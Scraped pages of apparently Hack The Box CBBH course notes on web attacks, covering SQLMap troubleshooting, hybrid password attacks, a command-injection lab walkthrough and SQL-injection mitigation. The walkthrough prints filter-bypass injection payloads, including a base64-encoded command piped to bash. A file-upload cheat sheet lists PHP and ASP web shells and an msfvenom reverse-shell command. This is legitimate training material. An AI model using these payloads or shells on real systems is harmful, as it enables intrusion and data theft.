![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fauth_vs_auth.png&width=768&dpr=3&quality=100&sign=a8178251&sv=2) Comparison of Authentication vs. Authorization. Authentication verifies identity, requires credentials, and occurs before authorization. Authorization determines access, follows authentication, and uses policies. The most widespread authentication method in web applications is `login forms`, where users enter their username and password to prove their identity. Login forms can be found on many websites including email providers, online banking, and HTB Academy: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F269%2Fintro%2Fintro_1.png&width=768&dpr=3&quality=100&sign=393c902b&sv=2) Authentication is probably the most widespread security measure and the first defense against unauthorized access. As web application penetration testers, we aim to verify if authentication is implemented securely. This module will focus on various exploitation methods and techniques against login forms to bypass authentication and gain unauthorized access. * * * ### Common Authentication Methods[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#common-authentication-methods) Information technology systems can implement different authentication methods. Typically, they can be divided into the following three major categories: * Knowledge-based authentication * Ownership-based authentication * Inherence-based authentication **Knowledge** Authentication based on knowledge factors relies on something that the user knows to prove their identity. The user provides information such as passwords, passphrases, PINs, or answers to security questions. **Ownership** Authentication based on ownership factors relies on something the user possesses. The user proves their identity by proving the ownership of a physical object or device, such as ID cards, security tokens, or smartphones with authentication apps. **Inherence** Lastly, authentication based on inherence factors relies on something the user is or does. This includes biometric factors such as fingerprints, facial patterns, and voice recognition, or signatures. Biometric authentication is highly effective since biometric traits are inherently tied to an individual user. Knowledge Ownership Inherence Password ID card Fingerprint PIN Security Token Facial Pattern Answer to Security Question Authenticator App Voice Recognition * * * ### Single-Factor Authentication vs Multi-Factor Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#single-factor-authentication-vs-multi-factor-authentication) Single-factor authentication relies solely on a single methods. For instance, password authentication solely relies on knowledge of the password. As such, it is a single-factor authentication method. On the other hand, multi-factor authentication (MFA) involves multiple authentication methods. For instance, if a web application requires a password and a time-based one-time password (TOTP), it relies on knowledge of the password and ownership of the TOTP device for authentication. In the particular case when exactly two factors are required, MFA is commonly referred to as 2-factor authentication (2FA). [PreviousCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/cheat-sheet) [NextAttacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication) Last updated 9 months ago * [What is Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#what-is-authentication) * [Common Authentication Methods](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#common-authentication-methods) * [Single-Factor Authentication vs Multi-Factor Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication#single-factor-authentication-vs-multi-factor-authentication) --- # SSI Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection.md) . [Introduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection) [Exploiting SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/exploiting-ssi-injection) [Preventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection) [PreviousExploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig) [NextIntroduction to SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/introduction-to-ssi-injection) --- # Handling SQLMap Errors | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors.md) . * * * We may face many problems when setting up SQLMap or using it with HTTP requests. In this section, we will discuss the recommended mechanisms for finding the cause and properly fixing it. * * * ### Display Errors[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#display-errors) The first step is usually to switch the `--parse-errors`, to parse the DBMS errors (if any) and displays them as part of the program run: Handling SQLMap Errors Copy ...SNIP... [16:09:20] [INFO] testing if GET parameter 'id' is dynamic [16:09:20] [INFO] GET parameter 'id' appears to be dynamic [16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '))"',),)((' at line 1'" [16:09:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [16:09:20] [WARNING] parsed DBMS error message: 'SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''YzDZJELylInm' at line 1' ...SNIP... With this option, SQLMap will automatically print the DBMS error, thus giving us clarity on what the issue may be so that we can properly fix it. * * * ### Store the Traffic[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#store-the-traffic) The `-t` option stores the whole traffic content to an output file: Handling SQLMap Errors As we can see from the above output, the `/tmp/traffic.txt` file now contains all sent and received HTTP requests. So, we can now manually investigate these requests to see where the issue is occurring. * * * ### Verbose Output[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#verbose-output) Another useful flag is the `-v` option, which raises the verbosity level of the console output: Handling SQLMap Errors As we can see, the `-v 6` option will directly print all errors and full HTTP request to the terminal so that we can follow along with everything SQLMap is doing in real-time. * * * ### Using Proxy[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#using-proxy) Finally, we can utilize the `--proxy` option to redirect the whole traffic through a (MiTM) proxy (e.g., `Burp`). This will route all SQLMap traffic through `Burp`, so that we can later manually investigate all requests, repeat them, and utilize all features of `Burp` with these requests: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Fcdn.services-k8s.prod.aws.htb.systems%2Fcontent%2Fmodules%2F58%2FeIwJeV3.png&width=768&dpr=3&quality=100&sign=9d4fed5&sv=2) HTTP history showing GET requests to www.example.com with various parameters, including SQL injection attempts, and a 200 status code. [PreviousRunning SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request) [NextAttack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning) Last updated 9 months ago * [Display Errors](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#display-errors) * [Store the Traffic](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#store-the-traffic) * [Verbose Output](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#verbose-output) * [Using Proxy](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors#using-proxy) Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt Code4Christ@htb[/htb]$ cat /tmp/traffic.txt HTTP request [#1]: GET /?id=1 HTTP/1.1 Host: www.example.com Cache-control: no-cache Accept-encoding: gzip,deflate Accept: */* User-agent: sqlmap/1.4.9 (http://sqlmap.org) Connection: close HTTP response [#1] (200 OK): Date: Thu, 24 Sep 2020 14:12:50 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 914 Connection: close Content-Type: text/html; charset=UTF-8 URI: http://www.example.com:80/?id=1 <!DOCTYPE html> <html lang="en"> ...SNIP... Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch ___ __H__ ___ ___[,]_____ ___ ___ {1.4.9} |_ -| . [(] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 16:17:40 /2020-09-24/ [16:17:40] [DEBUG] cleaning up configuration parameters [16:17:40] [DEBUG] setting the HTTP timeout [16:17:40] [DEBUG] setting the HTTP User-Agent header [16:17:40] [DEBUG] creating HTTP requests opener object [16:17:40] [DEBUG] resolving hostname 'www.example.com' [16:17:40] [INFO] testing connection to the target URL [16:17:40] [TRAFFIC OUT] HTTP request [#1]: GET /?id=1 HTTP/1.1 Host: www.example.com Cache-control: no-cache Accept-encoding: gzip,deflate Accept: */* User-agent: sqlmap/1.4.9 (http://sqlmap.org) Connection: close [16:17:40] [DEBUG] declared web page charset 'utf-8' [16:17:40] [TRAFFIC IN] HTTP response [#1] (200 OK): Date: Thu, 24 Sep 2020 14:17:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 914 Connection: close Content-Type: text/html; charset=UTF-8 URI: http://www.example.com:80/?id=1 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <title>SQLMap Essentials - Case1</title> </head> <body> ...SNIP... --- # Hybrid Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks.md) . Hybrid Attacks[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks) --------------------------------------------------------------------------------------------------------------------------------- * * * Many organizations implement policies requiring users to change their passwords periodically to enhance security. However, these policies can inadvertently breed predictable password patterns if users are not adequately educated on proper password hygiene. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F57%2F2n.png&width=768&dpr=3&quality=100&sign=4b702e55&sv=2) Unfortunately, a widespread and insecure practice among users is making minor modifications to their passwords when forced to change them. This often manifests as appending a number or a special character to the end of the current password. For instance, a user might have an initial password like "Summer2023" and then, when prompted to update it, change it to "Summer2023!" or "Summer2024." This predictable behavior creates a loophole that hybrid attacks can exploit ruthlessly. Attackers capitalize on this human tendency by employing sophisticated techniques that combine the strengths of dictionary and brute-force attacks, drastically increasing the likelihood of successful password breaches. #### Hybrid Attacks in Action[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks-in-action) Let's illustrate this with a practical example. Consider an attacker targeting an organization known to enforce regular password changes. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F57%2F3n.png&width=768&dpr=3&quality=100&sign=638eeba&sv=2) The attacker begins by launching a dictionary attack, using a wordlist curated with common passwords, industry-specific terms, and potentially personal information related to the organization or its employees. This phase attempts to quickly identify any low-hanging fruit - accounts protected by weak or easily guessable passwords. However, if the dictionary attack proves unsuccessful, the hybrid attack seamlessly transitions into a brute-force mode. Instead of randomly generating password combinations, it strategically modifies the words from the original wordlist, appending numbers, special characters, or even incrementing years, as in our "Summer2023" example. This targeted brute-force approach drastically reduces the search space compared to a traditional brute-force attack while covering many potential password variations that users might employ to comply with the password change policy. #### The Power of Hybrid Attacks[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#the-power-of-hybrid-attacks) The effectiveness of hybrid attacks lies in their adaptability and efficiency. They leverage the strengths of both dictionary and brute-force techniques, maximizing the chances of cracking passwords, especially in scenarios where users fall into predictable patterns. It's important to note that hybrid attacks are not limited to the password change scenario described above. They can be tailored to exploit any observed or suspected password patterns within a target organization. Let's consider a scenario where you have access to a common passwords wordlist, and you're targeting an organization with the following password policy: * Minimum length: 8 characters * Must include: * At least one uppercase letter * At least one lowercase letter * At least one number To extract only the passwords that adhere to this policy, we can leverage the powerful command-line tools available on most Linux/Unix-based systems by default, specifically `grep` paired with regex. We are going to use the [darkweb2017-top10000.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top10000.txt) password list for this. First, download the wordlist Hybrid Attacks Next, we need to start matching that wordlist to the password policy. Hybrid Attacks This initial `grep` command targets the core policy requirement of a minimum password length of 8 characters. The regular expression `^.{8,}$` acts as a filter, ensuring that only passwords containing at least 8 characters are passed through and saved in a temporary file named `darkweb2017-minlength.txt`. Hybrid Attacks Building upon the previous filter, this `grep` command enforces the policy's demand for at least one uppercase letter. The regular expression `[A-Z]` ensures that any password lacking an uppercase letter is discarded, further refining the list saved in `darkweb2017-uppercase.txt`. Hybrid Attacks Maintaining the filtering chain, this `grep` command ensures compliance with the policy's requirement for at least one lowercase letter. The regular expression `[a-z]` serves as the filter, keeping only passwords that include at least one lowercase letter and storing them in `darkweb2017-lowercase.txt`. Hybrid Attacks This last `grep` command tackles the policy's numerical requirement. The regular expression `[0-9]` acts as a filter, ensuring that passwords containing at least one numerical digit are preserved in `darkweb2017-number.txt`. Hybrid Attacks As demonstrated by the output above, meticulously filtering the extensive 10,000-password list against the password policy has dramatically narrowed down our potential passwords to 89. This drastic reduction in the search space represents a significant boost in efficiency for any subsequent password cracking attempts. A smaller, targeted list translates to a faster and more focused attack, optimizing the use of computational resources and increasing the likelihood of a successful breach. ### Credential Stuffing: Leveraging Stolen Data for Unauthorized Access[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#credential-stuffing-leveraging-stolen-data-for-unauthorized-access) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F57%2F5n.png&width=768&dpr=3&quality=100&sign=55183840&sv=2) Credential stuffing attacks exploit the unfortunate reality that many users reuse passwords across multiple online accounts. This pervasive practice, often driven by the desire for convenience and the challenge of managing numerous unique credentials, creates a fertile ground for attackers to exploit. It's a multi-stage process that begins with attackers acquiring lists of compromised usernames and passwords. These lists can stem from large-scale data breaches or be compiled through phishing scams and malware. Notably, publicly available wordlists like `rockyou` or those found in `seclists` can also serve as a starting point, offering attackers a trove of commonly used passwords. Once armed with these credentials, attackers identify potential targets - online services likely used by the individuals whose information they possess. Social media, email providers, online banking, and e-commerce sites are prime targets due to the sensitive data they often hold. The attack then shifts into an automated phase. Attackers use tools or scripts to systematically test the stolen credentials against the chosen targets, often mimicking normal user behavior to avoid detection. This allows them to rapidly test vast numbers of credentials, increasing their chances of finding a match. A successful match grants unauthorized access, opening the door to various malicious activities, from data theft and identity fraud to financial crimes. The compromised account may be a launchpad for further attacks, spreading malware, or infiltrating connected systems. #### The Password Reuse Problem[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#the-password-reuse-problem) The core issue fueling credential stuffing's success is the pervasive practice of password reuse. When users rely on the same or similar passwords for multiple accounts, a breach on one platform can have a domino effect, compromising numerous other accounts. This highlights the urgent need for strong, unique passwords for every online service, coupled with proactive security measures like multi-factor authentication. [PreviousDictionary Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/dictionary-attacks) [NextHydra](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra) Last updated 1 year ago * [Hybrid Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#hybrid-attacks) * [Credential Stuffing: Leveraging Stolen Data for Unauthorized Access](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks/hybrid-attacks#credential-stuffing-leveraging-stolen-data-for-unauthorized-access) Copy hack3rSWE@htb[/htb]$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/darkweb2017-top10000.txt Copy hack3rSWE@htb[/htb]$ grep -E '^.{8,}$' darkweb2017-top10000.txt > darkweb2017-minlength.txt Copy hack3rSWE@htb[/htb]$ grep -E '[A-Z]' darkweb2017-minlength.txt > darkweb2017-uppercase.txt Copy hack3rSWE@htb[/htb]$ grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt Copy hack3rSWE@htb[/htb]$ grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt Copy hack3rSWE@htb[/htb]$ wc -l darkweb2017-number.txt 89 darkweb2017-number.txt --- # Skills Assesment | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment.md) . Skills Assessment[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#skills-assessment) -------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#question-1) #### "What is the content of '/flag.txt'?"[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#what-is-the-content-of-flag.txt) After spawning the target machine, students need to navigate to its website's root webpage and login with the credentials `guest:guest`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_10.png&width=768&dpr=3&quality=100&sign=62796181&sv=2) Command\_Injections\_Walkthrough\_Image\_10.png Once signed in to the web-based file manager, students will find several files and a folder, with the former having four clickable buttons, `Preview`, `Copy to...`, `Direct link`, and `Download`. Out of the four, the `Copy to...` button seems the most plausible to be an attack vector, as the backend will need to use system commands such as `mv`, `move`, or `cp`. Clicking on `Copy to...` on a file will redirect students to a new page with two main options `Copy` and `Move`, while also being able to choose the destination folder: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_11.png&width=768&dpr=3&quality=100&sign=b56baa90&sv=2) Command\_Injections\_Walkthrough\_Image\_11.png ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_12.png&width=768&dpr=3&quality=100&sign=f6ad3457&sv=2) Command\_Injections\_Walkthrough\_Image\_12.png If students select the destination folder `tmp` and click on `Copy`, injecting characters in the URL, no indication of command execution will appear. Therefore, students need to test the `Move` functionality. Clicking `Move` on a file without the selecting the `tmp` folder as the destination folder will throw the following error: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_13.png&width=768&dpr=3&quality=100&sign=2ea40506&sv=2) Command\_Injections\_Walkthrough\_Image\_13.png Thus, most probably, the backend is using a `mv` command, and if an error occurs, it prints it out; therefore, this may be abused to capture command output, however, students need to ensure that the original `mv` command fails, otherwise error messages may not be displayed. Additionally, students need to use an injection operator that will show either both or only the second command, even if the first fails, which rules out the operator `&&`, however, any other operator may be used. Students then need to run `Burp Suite`, set `FoxyProxy` to the preconfigured option "BURP", and then click on `Move` with no destination folder to move a file, same as done previously: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_14.png&width=768&dpr=3&quality=100&sign=dc8bc0b5&sv=2) Command\_Injections\_Walkthrough\_Image\_14.png Students need to send the intercepted request to `Repeater` (`Ctrl` + `R`) and send the request: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_15.png&width=768&dpr=3&quality=100&sign=30728df4&sv=2) Command\_Injections\_Walkthrough\_Image\_15.png After receiving the response, students will find the same error message in line 732: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_16.png&width=768&dpr=3&quality=100&sign=8f5b568b&sv=2) Command\_Injections\_Walkthrough\_Image\_16.png Students will notice that there are two GET parameters being passed in the request, `to` and `from`. Trying to inject different injection operators in both parameters, students will receive the error message "Malicious request denied!": ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_17.png&width=768&dpr=3&quality=100&sign=3cb7c46a&sv=2) Command\_Injections\_Walkthrough\_Image\_17.png However, when injecting the `&` operator, students will notice that it passes by, as the developers may have thought that it is required for URLs, and thus whitelisted it: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_18.png&width=768&dpr=3&quality=100&sign=3ae33599&sv=2) Command\_Injections\_Walkthrough\_Image\_18.png Thus, students need to use this injection operator, however, it must be URL encoded, i.e., `%26`. Subsequently, students need to determine which parameter to be used for the injections, and in this case, either can be used, since both constitute the command being run by the backend, as seen by the printed error previously. Students need to inject `& cat /flag.txt` to read the flag file; to bypass white-space, students can either use `$IFS` or `%09`, and to bypass slashes, students need to use `${PATH:0:1}`, therefore, the payload can either be `$IFS%26c"a"t$IFS${PATH:0:1}flag.txt`, or `$IFS%26b"a"sh<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==)`. With the former payload, the URL parameters will be `/index.php?to=tmp$IFS%26c"a"t$IFS${PATH:0:1}flag.txt&from=51459716.txt&finish=1&move=1`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_19.png&width=768&dpr=3&quality=100&sign=6d1d1488&sv=2) Command\_Injections\_Walkthrough\_Image\_19.png While with the the latter payload, the URL parameters will be `/index.php?to=tmp$IFS%26b"a"sh<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dA==)&from=51459716.txt&finish=1&move=1`. Students will attain the flag `HTB{c0mm4nd3r_1nj3c70r}` with either payloads.: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F43%2FCommand_Injections_Walkthrough_Image_20.png&width=768&dpr=3&quality=100&sign=d1b911e4&sv=2) Command\_Injections\_Walkthrough\_Image\_20.png Answer: {hidden} [PreviousCommand Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention) [NextGood Write Up](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment/good-write-up) Last updated 8 months ago * [Skills Assessment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#skills-assessment) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment#question-1) --- # CHEAT SHEET | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet.md) . file-alt **Cheat Sheet** The cheat sheet is a useful command reference for this module. ### Web Shells[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#web-shells) **Web Shell** **Description** `<?php echo file_get_contents('/etc/passwd'); ?>` Basic PHP File Read `<?php system('hostname'); ?>` Basic PHP Command Execution `<?php system($_REQUEST['cmd']); ?>` Basic PHP Web Shell `<% eval request('cmd') %>` Basic ASP Web Shell `msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php` Generate PHP reverse shell [PHP Web Shell](https://github.com/Arrexel/phpbash) PHP Web Shell [PHP Reverse Shell](https://github.com/pentestmonkey/php-reverse-shell) PHP Reverse Shell [Web/Reverse Shells](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells) List of Web Shells and Reverse Shells ### Bypasses[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#bypasses) **Command** **Description** **Client-Side Bypass** `[CTRL+SHIFT+C]` Toggle Page Inspector **Blacklist Bypass** `shell.phtml` Uncommon Extension `shell.pHp` Case Manipulation [PHP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) List of PHP Extensions [ASP Extensions](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP) List of ASP Extensions [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt) List of Web Extensions **Whitelist Bypass** `shell.jpg.php` Double Extension `shell.php.jpg` Reverse Double Extension `%20`, `%0a`, `%00`, `%0d0a`, `/`, `.\`, `.`, `…` Character Injection - Before/After Extension **Content/Type Bypass** [Content-Types](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt) List of All Content-Types [File Signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) List of File Signatures/Magic Bytes ### Limited Uploads[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#limited-uploads) **Potential Attack** **File Types** `XSS` HTML, JS, SVG, GIF `XXE`/`SSRF` XML, SVG, PDF, PPT, DOC `DoS` ZIP, JPG, PNG [PreviousRe Walk](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment/re-walk) [NextIntroduction](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction) Last updated 8 months ago * [Web Shells](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#web-shells) * [Bypasses](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#bypasses) * [Limited Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet#limited-uploads) --- # Mitigating SQL Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection.md) . * * * We have learned about SQL injections, why they occur, and how we can exploit them. We should also learn how to avoid these types of vulnerabilities in our code and patch them when found. Let's look at some examples of how SQL Injection can be mitigated. * * * ### Input Sanitization[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-sanitization) Here's the snippet of the code from the authentication bypass section we discussed earlier: Code: php Copy $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * FROM logins WHERE username='". $username. "' AND password = '" . $password . "';" ; echo "Executing query: " . $query . ""; if (!mysqli_query($conn ,$query)) { die('Error: ' . mysqli_error($conn)); } $result = mysqli_query($conn, $query); $row = mysqli_fetch_array($result); As we can see, the script takes in the `username` and `password` from the POST request and passes it to the query directly. This will let an attacker inject anything they wish and exploit the application. Injection can be avoided by sanitizing any user input, rendering injected queries useless. Libraries provide multiple functions to achieve this, one such example is the [mysqli\_real\_escape\_string()](https://www.php.net/manual/en/mysqli.real-escape-string.php) function. This function escapes characters such as `'` and `"`, so they don't hold any special meaning. Code: php The snippet above shows how the function can be used. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fmysqli_escape.png&width=768&dpr=3&quality=100&sign=ced23a80&sv=2) mysqli\_escape As expected, the injection no longer works due to escaping the single quotes. A similar example is the [pg\_escape\_string()](https://www.php.net/manual/en/function.pg-escape-string.php) which used to escape PostgreSQL queries. * * * ### Input Validation[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection#input-validation) User input can also be validated based on the data used to query to ensure that it matches the expected input. For example, when taking an email as input, we can validate that the input is in the form of `...@email.com`, and so on. Consider the following code snippet from the ports page, which we used `UNION` injections on: Code: php `" . pg_last_error($conn). "` `"); } ?>` We see the GET parameter `port_code` being used in the query directly. It's already known that a port code consists only of letters or spaces. We can restrict the user input to only these characters, which will prevent the injection of queries. A regular expression can be used for validating the input: Code: php `Invalid input! Please try again.` `"); } $q = "Select * from ports where port_code ilike '%" . $code . "%'";` The code is modified to use the [preg\_match()](https://www.php.net/manual/en/function.preg-match.php) function, which checks if the input matches the given pattern or not. The pattern used is `[A-Za-z\s]+`, which will only match strings containing letters and spaces. Any other character will result in the termination of the script. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F33%2Fpostgres_copy_write.png&width=768&dpr=3&quality=100&sign=734b8828&sv=2) We can test the following injection: Code: sql 